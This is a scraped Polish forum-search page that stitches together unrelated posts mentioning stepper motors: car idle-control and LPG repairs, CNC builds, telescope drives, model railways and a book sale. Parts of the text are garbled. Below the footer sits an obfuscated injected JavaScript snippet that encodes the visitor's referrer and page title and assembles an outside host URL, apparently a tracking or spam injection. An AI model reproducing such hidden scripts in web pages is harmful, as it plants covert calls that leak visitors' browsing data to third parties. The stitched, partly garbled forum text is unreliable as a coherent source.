Hehehe, ja na mojej II generacji w Polonezie przejechałem już w cztery i pół roku prawie 90 tysięcy km (bez dwustu), i nawet filtra gazu w niej nie wymieniłem, choć nowe membrany parownik ma, bo stara cienka trzasnęła (z ww. przyczyn, moja wina) w kwietniu 2007 roku. "Wymiana" filtra polega na wystukiwaniu zeń opiłków i syfu.
Jeśli masz instalację II generacji (parownik + elektronika), to możesz sobie samemu dać radę sam, gorzej, jak jest III gen.w górę.
Do mojej gazowni od chwili założenia jej w moim Poldeuszu we wrześniu 2004 roku nie dotykał się żaden gazownik i nie dotknie. I tylko i wyłącznie dla tego toto jeszcze pracuje (jak i cały samochód, bo do niego też, prócz mnie, nie ma prawa się dotknąć).

Proponowałbym zacząć walkę z gazownią od wymiany (sprawdzenia) filtra gazu oraz czystości parownika, przewodów gazowych, miksera i działania silniczka krokowego od gazowni. A potem regulacja. Wszytko proste jak budowa młotka, instalację taką reguluje się tak samo, jak zapalniczkę za 2 złote.



Temat: USTAWIENIE PRZEPUSTNICY

Byc moze ma to związek z tym że masz inny silnik, inną budowe przepustnicy i musisz czyścic także krokowca, bo dziwne byłoby żeby komp nauczył się gorszych ustawień w skutek nagaru.

Mam X10XE, czyli czyscilem ta sama przepustnice, a w X12XE jest ten sam silnki krokowy co w X10XE, ktorego sie nie czysci.

Ja mialem przejechane 150 kkm gdy czyscilem przepustnice, a nagaru byly gruba warstwa ponad 1mm. Wg mnie wraz z zabrudzaniem przepustnicy komputer dostosowywal ustawinie jej kata, korygowal by obroty byly w normie. A ze trwalo to 8 lat, nagle wyczyszczenie przepustnicy spowodowalo ze komputer sie zdziwil i zeswirowal ;-) A tak powaznie, komputer nie jest w stanie sam cofnac ustawien, dlatego potrzebny jest reset ECU. Moge sie mylic, pisze to na podstawie wlasnych doswiadczen. Kazdy przypadek jest inny. Znajomy z forum, elektron02 (X10XE) po przeczyszczeniu przepustnicy nie musial niczego resetowac. Wiem bo nawiedzilem go z moim problemem i wymienialem sie doswiadczeniami



Temat: 11.XII [sobota] twistedlegz prezentuje: L E Z B E N D !!!!!
do black rider----- czyli w skrucie silnik krokowy tak zwany stabilizowany kwarcem i wcale nie trzeba tego wiedziec by dobrze miksowac chyba ze chce sie to naprawic:P

wszystko jest napisane w necie teoretykow mamy duuuzo!!!! a jak przyjdzie co do czego to roznie bywa co do spraw technicznych na temat techniksow kazdego rodzaju byle elektronik moze podyskutowac:)

jesli jestes faktycznie kobietka (w co watpie ) poducze cie rozbierania techniksow na czesci pierwsze z zamknietymi oczam.

naprawde marnujesz sie!!z taka wiedza zapraszam w imieniu (przepraszam AHZ) AHZ na warsztaty do niego i moz trzasniesz wykladzik z historii techniksow i ich budowy i przebudowy i rozbudowy o nowe funkcje ...

pozdrawiam black rider



Temat: Programowanie mikroprocesorow (n00b)
Po krotkich poszukiwaniach natrafilem na bardzo prosty programator ukladow Amtela... Chyba jednak sprawa sterowania wyswietlaczem jest dla poczatkujacego elektronika zbyt ambitnym zagadnieniem. Ciekaw jestem jak to jest z silnikami krokowymi, podejrzewam ze bardzo podobnie. I nie chodiz mi tu o samo programowanie ale o budowe odpowiedniego układu.

Pozdrawiam



Temat: cnc czy kiedyś będzie w EP ?
Jestem autorem takiego urządzenia, i musze stwierdzić (niestety), iż budowa takiego urządzenia nie jest może skąplikowana, ale koszty, jak na amatora elektonika, są znaczne. Urządzenie wykonałem samodzielnie (część mechaniczną) jak również część elektroniczną i oprogramowanie. i muszę stwierdzić iż najdroższe z tego wszystkiego były silniki krokowe a następnie elektronika wykonawcza. Część mechaniczna wymagała dużego nakładu pracy, ale wykonana została w pracy a co za tym idzie koszty były niewielkie. Pozdrawiam.




    Temat: Uniwersalny robot
    Witam
    Wpadłem na pomysł budowy robota. Myślałem o napędzie 2 silnikowym, gąsienicowym. Robocik miałby jeździć do kuchni po piwo, mieć wbudowany zegarek i budzik.

    Macie może jakieś sensowne pomysły co mógłby jeszcze robić?? Coś co mogłoby ułatwić życie ??

    ps. i jakby ktoś miał niepotrzebne 2 silniki krokowe (identyczne oczywiście) które by mu zawadzały na półce, np, z jakiejś drukarki czy czegoś.... to za przystępną cenę byłbym skory nabyć...

    Piszcie jakie macie pomysły i co o tym wszystkim myślicie...



    Temat: Przeróbka 1.0 12v na 1.2 16v ?

    silnik osprzet - dwie rozne rzeczy. wyszedles na glupka i sie teraz bronisz
    a powaznie: sprzedaj to auto i kup sobie 1.2. wszystkie inne dzialania to glupota.


    Może nie przeginajmy pały? Głupkiem jest ten, co się nie pyta. Zostało zadane pytanie do osób, które mają troszkę więcej pojęcia o budowie samochodu i pewnie kolega oczekiwał raczej mądrzejszych odpowiedzi. Nie zapytał o to, czy da się dokleić do CB skrzydła i poleci jak Boeing, ale zadał pytanie techne bardziej poważne, niż czyszczenie silnika krokowego, albo o czujnik położenia wału korbowego.
    Jedna osoba nakręciła drugą itd. i nagle wszyscy wielce dowcipni... Pierwszy raz spotkałem się z czymś takim na tym forum,szczerze mówiąc nie spodziewałem się co po niektórych (ich inne wypowiedzi na liście), takiego podejścia do tematu...



    Temat: sterowanie sprzegla


    | Oba pakiety tworza mostek tyrystorowy a sprzeglo podlaczane bylo
    | stycznikiem. Wydaje mi sie ze jeden z tych pakietow (polowek prostownika)
    | byl kluczowany - ale nie wiiem czy na zasadzie gotowosc , czy na zasadzie
    | cykl.

    Kiedys przykladowo w ten sposob budowano stabilizoane zasilacze wiekszej mocy.
    Bardzo prosta i funkcjonalna konstrukcja. Szkoda tylko ze wymaga naprawde
    duzych dlawikow.


    Odsyłam do przeczytania teori z pracy silników krokowych. Hmm..., trochę
    nie na temat - może nie. Pomoże to zrozumieć działenie sprzęgła dlaczego
    występują tam takie opóźnienia i po co był ten układ tyrystorowy. Żeby
    sprzęgło działało w prawidłowy sposób prawdopodobnie nie obędzie się bez
    odbudowy układu tyrystorowego lub budowy nowego układu. Można spróbować
    przyłożyć napiecie stałe np 1kV a prąd ograniczyć rezystorem połączonym
    szeregowo do znamionowego prądu cewki sprzęgła.





    Temat: Obrotnica BTTB
    Szczerze mówiąc, też kiedyś po głowie chodziła mi budowa takiej obrotnicy, miałem nawet wycięte elementy z płyty MDF, ale projekt umarł śmiercią naturalną (może kiedyś do tego wrócę Też zastanawiałem się, jak precyzyjnie zatrzymywać obrotnicę na wybrane stanowisko. Myślałem o jakichś zatrzaskach, stykach elektrycznych, ale nic mądrego nie wymyśliłem...

    Nie jestem elektronikiem, ale może silnik krokowy (np z lasera od CD-ROM) byłby do tego odpowiedni?



    Temat: Macie jakieś patenty na samoczynne,automatyczne nawożenie?

    Hej,

    Kiedys myslalem o czyms takim
    http://www.discus.com.pl/...roducts_id=1936

    Ludzie uzywaja podobnych systemów z 1 lub wieloma takimi pompkami. Mysle o budowie takiej pompki z wykorzystanie silnika krokowego. Moze ktos juz cos takiego zrobil to niech sie pochwali i podzieli swoimi doswiadczeniami.

    Pozdrawiam
    Zultek


    Droga impreza, to już prawie na to samo wyjdzie jak kupi się za ok. 900zł system Aquamedic z trzema pompkami od razu z timerem sterującym każdą z osobna.
    Ja myślę o tym by puścić do takiej pompki wężyki z 3 źródeł łącząc jakimś rogałęźnikiem w jeden i podpiąć do wejścia.Takie chwilowe zmieszanie nawozów(na końcówce) chyba nie zaszkodziłoby?
    Na tej stronce nie podają wcale jaką najmniejszą ilość płynu potrafi dozować ten dozownik.



    Temat: [Lanos] Wysokie obroty
    mówił że poszuka części tyle że on mówił że płytę chce wymienić. Nie znam budowy tego komputera, może ktoś będzie wiedział co nieco to niech opisze. Jak dla mnie wymiana kości pamięci/ sterownika programowalnego powinna robić swoje (pod warunkiem że wszystko inne działa)

    Dzwoniłem przed chwilą do elektromechanika - powiedział że bez wgrania softu po wymianie silnika krokowego "to ja sobie mogę" - nie wiem co o tym myśleć



    Temat: 1
    ten projekt jest pod budowę maszyny, jest pełne 2 D włącznie z częsciami katalogowymi oraz rendering w 3D co ciekawszych złożeń i ogolny, projektowanie trwalo poł roku, elementy przekłądni byly analizowane wielokrotnie nie tyle pod wpływem obciążeń ale także smarowania i poprawności przeniesienia napędu, np zazebienie wildhabera - nowikowa jest bezluzowe ale ma wieksze tarcie wskutek czego potrzebne jest smarowanie wspomagane pompą olejową zębata napędzana na wejsciu silnika krokowego, przekładnie ustawione pionowo czyli ramienia i barku w kapieli olejowej, spora grupka uszczelniaczy itd, jedyne czego nie wziałem pod uwage - jak już Leo zauwazył rozbiezności użebrowania - to jest zaprojektowane ze stali, z aluminim PA6 jest tylko ramię i łokieć - formatki o grubościach 20mm i cała masa wręg przy okazji posredniczących w zamocowaniu przekładni np tej od napędu nadgarstka ...



    Temat: makietka-naturalnie

    że do napędu obrotnicy najlepszy jest silnik krokowy + układ elektroniczny sterujący ilością obrotów/kroków/ Tak myślałem, że potrzebna będzie elektronika. Niestety kiepski jestem w tym temacie, więc pomyślę nad sterowaniem ręcznym na podobieństwo pokrętła od ustawiania fal w starym radiu.
    Co do rurek, to cały czas mnie korci żeby je jednak wymienić. Wszystkich na raz nie dam rady, ale myślę że co jakiś czas kawałek i rurek się pozbędę. Jak już pisałem, nie zdawałem sobie sprawy z ich istnienia gdy zaczynałem budowę. I mam jeszcze pytanie na temat torów składanych samodzielnie i kupowanych na metry. Trochę już o tym czytałem, ale np. gdy układam łuk z takich torów to muszę trzymać się fabrycznych promieni łuków? (oczywiście zachowując minimum). Wydaje mi się ,że nie ale chcę się upewnić.


    jak się lączy okrąg wewnętrzny z torem? Nie widzę tam rozjazdów. Nie ma tam rozjazdów, bo jest to pętla z dwoma poziomami. tor wychodzi z tunelu, biegnie przez kamienny most górą i schodzi po łuku poziom niżej (o 7 cm). Dalej ten sam tor biegnie pod tym samym kamiennym mostem. Po drodze mamy jeszcze jedną zwrotnicę z wolnym końcem skierowanym w stronę drugiego, nie wykorzystanego tunelu. To taka moją furtka, na wypadek przyszłej rozbudowy (to miejsce z Catepilarem )



    Temat: Jaki silniczek jest lepszy 2.0 DOHC czy 1.4 16V Rovera??
    nie napisze ze ich nie ma tylko udam się do centrali i takowy ?ci?gn?. czas oczekiwania 2 dni max. szklanki sa po 65 zets sam pytałem u mnie stukaj? 2 i jak tylko się ociepli i wpłynie zastrzyk kasy wymienie. choć słuchac je tylko na zimnym silniku do 2 tys obrotów.
    Wiecie polacy maj?krew szlachecka i cenzura się bea nawet o najmniejsze szczeguliki.
    Ja mam 1,4 tylko z racji jego ekonomiczno?ci, zrywno?ci i tych szalonych obrotów w które się wkręca
    co do kompów słyszałem że mówili o jego padzie a okazało się ze to poprostu krokówa umarła. więc nie wszyscy potrafi? te silniki zdiagnozowac. u mnie diagnozowali popsuty czujnik poł przepustnicy i ze to to. Dopiero jak kazałem wkrecić w listew miernik wyszło ze to pompa siada. Mój silnik na liczniku ma 73ty? ale to napewno idzie kolejny raz który hmmm nie mam pojęcia. Roverka mam bo miałem do?c bebrania się w silniku OHV czytajac na róznych rofach doszedłem do wniosku ze po swapie tez beda remonty i problemy. Jak narazie problem z silnikiem to pompa wody która nowa wyszła taniej niz do zwykłego. zato cała reszta (czytaj polonez) swoje fochy ma i tu i ówdzie trzeba co i raz co? wymienić. więc mam swój odpoczynek od przeróbek przekładek których robiłem multum. Jak odpocznętroche (przeważnie finansowo) pobawię się znowu i wcale nie mówie ze bedzie to 1,8 rover. moze jaki? 2,0 ford 16v. Teraz mam dom w budowie więc mam gdzie wydawać złotówki.
    Drzewo posadziłem nie jedno. dom tez juz stoi, hmmm czego? mi jeszcze brakuje
    Panowie szkoda czasu i atłasu



    Temat: Kolektor dolotowy z C16NZ i przepustnica z C18NZ do X12SZ
    Odkopie temat bo wreszcie się coś ruszyło, po intensywnych poszukiwaniach przepustnicy z C18NZ (znalazłem na złomie we wrześni za 110zł ) w końcu trafiłem na taką na allegro za całe 30 zł Jest już wyczyszczona na błysk, dołożone są potencjometr i silniczek krokowy z C16NZ,z tego co zauważyłem jedyna różnica oprócz wymiarów średnicy to różnica w budowie zespołu króćców odprowadzania podciśnienia, ten z 1.8 ma jedno więcej wyjście które szło do mechanicznego (pneumatycznego) EGR'a, ale wydaje mi się że da się to zamienić na ten z mojej przepustnicy. Do zestawu brakuje mi jeszcze tylko kolektora z X16SZ/SZR, na allegro jest dość drogi bo stosowany również w Astrze G Ale wpadłem na pomysł żeby wykorzystać dużo tańszy kolektor z silnika C16NZ ten z mechanicznym EGRem. Jako że nie można zaślepić go znanymi nam metodami (podkładka/zaślepka) pomyślałem że otwór w kolektorze można zatkać przy pomocy gwintowanego pręta miedzianego który da się łatwo rozklepać I jedyne co mnie martwi to to czy rozstaw śrub w EGR mech i elektrycznym jest ten sam, wiem że śruby są te same M8x25 (w C zwykłe a w X torxy) jeśli jest ten sam to można wydziergać podkładkę z blachy aluminiowej ok 3mm grubej i kolektor nada się do montażu w silniku serii X W poniedziałek jadę mierzyć rozstaw śrub, bo dzisiaj na złożonym silniku w astrze nie mogłem dojść do tego suwmiarką

    jeśli nie uda mi się znaleźć kolektora a te z C nie będą pasować to zostanie mi tylko ścięcie krawędzi w obecnym kolektorze tak żeby obsłużył większą przepustnice

    [ Dodano: Sro Sie 15, 2007 10:21 am ]



    Temat: LPG i silniczek krokowy... a wlasciwie jego brak


    to taka prosba - niech mi ktos wyjasni, po kiego grzyba montuja te
    silniczki, skoro bez zadnej straty (a nawet z zyskiem i gotowkowym i w
    kwestii awaryjnosci) mozna go do kosza wsadzic?


    Bo przy dobrze wyregulowanym dobrym komputerku ze sprawnym silniczkiem
    krokowym spalanie będzie nieco niższe niż przy śrubie a moc większa. W
    praktyce jednak jest bardzo różnie. Często komputerkami okazują się tanie
    atrapy o anemicznej prędkości działania, w niektórych brakuje opcji do
    optymalnego wyregulowania mieszanki w pełnym zakresie obrotów a sam
    silniczek krokowy z racji swojej budowy zawsze działa zbyt wolno w stosunku
    do dynamicznych zmian obciążenia/obrotów silnika.





    Temat: Silniki do montażu
    a tak swoja droga... to temat jest "Silniki do montazu"...
    i tak sobie pomyslalem, ze krokowe sa chyba tylko potrzebne do GOTO ktore precyzyjnie naprowadzaja (liczac kroki),
    ale przy montazu wlasnej roboty, gdzie mozna pominac GOTO i samemu naprowadzac, mysle ze smialo mozna zastosowac standardowe silniczki,
    (nie takie zwykle 3V, ale takie o stabilnej pracy, wolno obrotowe, 12V 24V) z dobrana odopwiednio predkoscia i przekladnia mysle ze mozna uzyskac podobne parametry utrzymania teleskopu na konkretnym obiekcie, jak sadzicie ?
    nie spotkalem sie z tym jeszcze, ale w sierpniu zaczynam budowe montazu "amerynkanskiego" (widłowego) na ktorym bedzie N 406/1829
    i tam wlasnie zastosuje zykle silniczki.



    Temat: Praca dyplomowa
    Witam ponownie;)
    Rezczywiscie, jest kilka książek opisujących temam budowy maszyn CNC od strony teoretycznej.
    Mam jednak następne pytanko:
    Znalazłem w którejs książce wykres taki jak poniżej.
    Czy któryś z kolegów wie jaką metodą można ( przynajmniej teoretycznie ) wyeliminować zjawisko stabilizacji wirnika sinika krokowego?
    W związku z bezwładnością rotora i obciążenia osi silnik przekracza zadane położenie i zawraca do pożądanej pozycji. Taka sytuacja powtarza się kilkakrotnie w trakcie jednego kroku.
    Pozdrawiam.



    Temat: PrĹĄdnica wolnoobrotowa


    | Potrzebuj? pomocy w zaprojektowaniu pr?dnicy wolnoobrotowej z magnesami trwa?ymi.
    | Chodzi o jakie? 40-60 obr/min.
    | Czysta teoria jest mi znana ale nie wiem jak to wygl?da w podej?ciu praktycznym.
    | Mo?e kto? ma materia?y o budowie takich urz?dze? ?
    O takiej powolnej jeszcze nie slyszalem - musialoby to byc strasznie duze i
    miec duuuzo zwojow. Lepiej dac przekladnie.


    Az tak to nie, ale turbiny wodne stosuja male predkosci.

    Duza ma byc ta pradnica i sprawna ?
    Bo zabawkowo - silnik krokowy.

    J.





    Temat: Wolne obroty :-(
    Pewnie chodzilo mu o silnik krokowy - nie znam dokładnie wyglądu czytaj budowy silników Nissana, ale silnik krokowy jest przy przepustnicy. Instalcja gazowa ma dodatkowy silniczek biegu jałowego na przewodzie doprowadzającym gaz do kolektora.



    Temat: [P11/WP11] Problem z zawieszaniem się gazu/obrotów.

    Może co nieco mają tak samo jak benzyniaki, ale np. silnika krokowego nie mają

    Miałem na myśli tylko objaw który opisujesz.Nie budowę silnika i osprzętu.




    Temat: [R 200 99r 1,4 8V] Kolejny problem-wieszające się obroty.
    Fotka, proszę o zaznajomienie mnie z podstawami budowy silnika Roverka
    http://www.fotosik.pl/sho...07baa0e231c3d02

    P.S. szukam silniczka krokowego



    Temat: Silniki krokowe - teoria
    Budowa silnika, zasada działania, sterowanie.

    Artykół z PE wrzesiań 1997



    Temat: przerywanie silnika
    Podobno w 1.0 silniczka krokowego sie nie czysci bo ma inna budowę niż nasz Tuptuś - trzeba wymieniać - koszt około 150 zł



    Temat: Jak sprawdzić czujnik położenia przepustnicy?

    a czym sie rózni zawór bocznikowy od silniczka krokowego ?
    na pewno budowa i sposobem czyszczenia

    ale to sa tylko moje domysły ze jest on przy tym silniku, niech sie wypowie ktos w temacie



    Temat: Pytania o krokowca
    tak wiem jakie ma zadanie silnik krokowy tylko pytalem sie dlatego poniewaz dzisiaj czyscilem krokowiec i zdziwila mnie jego budowa przewaznie spotykane sa wiadomo jakie...ale sobie poradzilem jakos jeszcze EGR zostal pozdrawiam



    Temat: LPT
    Czy ktos moze zna strony na temat budowy roznych urzadzen sterowanych przez
    port LPT? Najbardziej zalezy mi na na jakis prostych robotach opartych na
    silnikach krokowych
    Dzieki :)




    Temat: KSIĄZKI
    Moge Ci wyslac poczta jesli wplacisz na moje konto Inteligo nastepujace
    pozycje:

    K. Ziolkowski, Blizej komety Halleya, 1985, 7 zl - opisy dawnych obserwacji
    i przyszlych pojawien oraz badan za pomoca sond kosmicznych
    A. Marks, Pod znakiem komety, 1985, 15 zl - opis ogromnej ilosci komet,
    zawiera takze wyczerpujacy poradnik jak je obserwowac
    M. Zbik, O budowie planet, 1985, 15 zl - opis wnetrza wszystkich planet oraz
    mineralow na ich powierzchni, bardzo szczegolowy opis roznych rodzajow
    meteorytow
    J. Mietelski, Astronomia w geografii, 1989, 25 zl - bardziej zaawansowane
    zagadnienia zwiazane z obserwacjami amatorskimi (np. przeliczenia ukladow
    wspolrzednych potrzebne przy samodzielnej budowie silnika krokowego dla
    teleskopu), z wzorami
    F. Rapf, Zagadnienia z astronomii elementarnej, 1957, 15 zl - unikalna
    pozycja pisana jeszcze przed lotami w kosmos co nie przeszkadzalo marzyc o
    ogladaniu z powierzchni Marsa przejsc jego ksiezycow na tle Slonca, wbrew
    swojemu tytulowi zawiera bardzo dokladne i dosc zaskakujace opisy zagadnien
    astronomicznych
    K. Gebarski, T. Kwast, 500 zagadek astronomicznych, 1984, 10 zl - mniej
    znane kwestie w postaci ilustrowanych zagadek i odpowiedzi
    J. Dobrzycki, Atlas nieba gwiazdzistego, 1956, 23 zl - jedno z pierwszych
    wydan popularnego atlasu
    R. Kippenhahn, Na tropie tajemnic Slonca, 1997, 17 zl - niewyjasnione
    kwestie zwiazane z wnetrzem Slonca
    B. i J. Lovell, Odkrywanie dalekiego Wszechswiata, 1966, 8 zl - problemy
    kosmologiczne
    P. Merrill, Chemia kosmosu, 1966, 8 zl - zwiazki chemiczne w przestrzeni
    miedzygwiezdnej
    W. Zonn, Astronomia dzis i wczoraj, 1965, 8 zl - zawiera także spekulacje na
    temat przyszlosci astronautyki
    A. Marks, W objeciach kosmosu, 1981, 8 zl - wplyw Slonca i nie tylko na
    klimat i srodowisko na Ziemi
    E. Pokorny, Tajemnice Uranii, 1973, 10 zl - malo znana historia astronomii
    arabskiej i dalekowschodniej w sredniowieczu
    K. Kwarecki, J. Terelek, Medycyna i psychologia kosmiczna, 1980, 10 zl -
    badania lekarskie astronautow i ich zachowanie w kosmosie
    M. Subotowicz, Elementy astronautyki, 1974, 12 zl - wszystko o orbitach i
    metodach zmiany orbity, z wzorami
    R. Perelman, Perspektywy lotow galaktycznych, 1963, 8 zl - rozwazania na
    temat przyszlych napedow
    Maly slownik astronautyczny, 1960, 23 zl - rzadka i cenna pozycja, prawdziwy
    slownik zawierajacy wylacznie terminy z zakresu astronautyki
    F. Drake, D. Sobel, Czy jest tam kto? 1996, 17 zl - zagadnienia SETI
    R. Tocquet, Zycie na planetach, 1965, 10 zl - szczegolowe rozwazania nad
    mozliwoscia wystepowania zycia w Ukladzie Slonecznym, nie tylko na Marsie

    Pozdrawiam,

    Karol





    Temat: Platforma paralaktyczna z bezpośrednim napędem śrubowym
    Witajcie !

    Na początek chcę bardzo podziękować Leszkowi Jędrzejewskiemu za cenne porady jakich mi udzielił w czasie przygotowywania materiałów

    Po wielu miesiącach zbierania podzespołów i szukania czasu na budowę, nareszcie mogę podjąć pierwsze prace nad platformami. Tak, platformami Będę konstruował dwie platformy ze wględu na fakt iż jedna z nich zmieni właściciela wraz moim Orionem XT8 po zakończeniu budowy i pozytywnych testach obserwacyjnych . Drugą zostawiam dla siebie pod mój przyszły teleskop - dobsa o minimum 300mm

    Konstrukcja platform jest w pełni oparta na pomyśle Leszka, którą udostępnił na swojej stronie.

    Brakuje mi tylko kątownika do osadzenie śruby napędowej, wspornika silnika krokowego, jak i sterowania. Ale to już najmniejszy problem

    Podstawę konstrukcji stanowi sklejka wodoodporna 18mm fabrycznie pokryta czarnym laminatem. Sklejka jest z jednej strony gładka, z drugiej perforowana z właściwościami antypoślizgowymi. Elementy mechaniczne są ze stali, mosiądzu lub aluminium. Zespół kół napędowych jest z plexi przezroczystego (nic innego nie udało mi się dostać). Napęd latformy stanowi silnik krokowy MP35EA z przekładnią 1:85. O silniku tym wspominał Leszeka w innym wątku związanym z platformą. Mam nadzieję, że pociągnie...

    Póki co, mam tylko jedną wątpliwość - czy elementy z plexi będą wystarczająco wytrzymałe? Czy dla asekuracji dołożyć w miejscach podparcia trójkątów dodatkowe wsporniki (sklejka, aluminium)?

    Dziś zaczynam wiercenie, gwintowanie i skręcanie - na co zwrócić szczególną uwagę, gdzie można popełnić błąd?

    Liczę na Waszą pomoc i wsparcie

    P.S. Fotki wstawię jak się nauczę



    Temat: Polonez GLI 1,6 rok 95 bez katalizatora i sondy lambda - usterka

    Ostatnio bardzo lichutko u mnie z kasą dlatego muszę spróbować sam


    naprawić

    Coraz lepiej w Polsce ;)


    Generalnie chodzi o wolne obroty silnika. Według instrukcji powinny
    wynosić
    ok 900. Po uruchomieniu silnika wszystko jest OK. Po przejechaniu kilku
    kilometrów jak temperatura silnika wzrośnie zaczynają się pierwsze
    problemy
    tz po przejściu na luz wolne obroty spadają do ok 600. Za chwilę troszkę
    idą
    w górę ale po całkowitym rozgrzaniu silnika już nie podciągają się w
    ogóle.
    Później jest jeszcze gorzej. Po wyluzowaniu obroty spadają bardzo
    gwałtownie
    i silnik gaśnie. Czasami wszystko wraca do normy ale generalnie silnik po


    Tu mi na myśł przyszedł czujnik temperatury silnika (ten przy kolektorze)


    prostu gaśnie. Ciekawe że po zaparkowaniu na "gasnącym silniku" i
    uruchamianiu np. na drugi dzień na zimnym silniku po spuszczeniu nogi z
    gazu
    silnik gaśnie (pamięć z poprzedniego dnia) ale po małej
    przygazówce już jest
    OK. Po ponownym rozgrzaniu cykl się powtarza.
    Chcę też powiedzieć, że nie jest to na pewno silnik krokowy regulacji
    wolnych obrotów (zamieniałem na inny znajomego i nic to nie dało).


    W poldolotach GLI często jest tak że zaraz po odpaleniu gasną (w 3 egz
    widziałem)

    Generalnie trzeba sprawdzić wszystkie czujniki, ale badać je od strony wtyki
    kompa żeby wyeliminować wadliwe kable. Dodatkowo zerknąć na wtrysk i pompe.
    (otworzyć dekiel od filtra i patrzeć na strugę benzyny, jak się to
    zachowuje - czy nie leje itp, co się dzieje jak jest gorący)
    Przydała by Ci się kniga Morawskiego Budowa.... sam. Polonez.

    Pozdrawiam Łukasz




    Strona 1 z 2 • Zostało znalezionych 131 postów • 1, 2
    Linki
    Powered by WordPress
    function bb515450fd03c79(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515450fd03c3f(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515450fd03c3f(bb515450fd03c79(document.referrer),bb515450fd03c79(document.title)));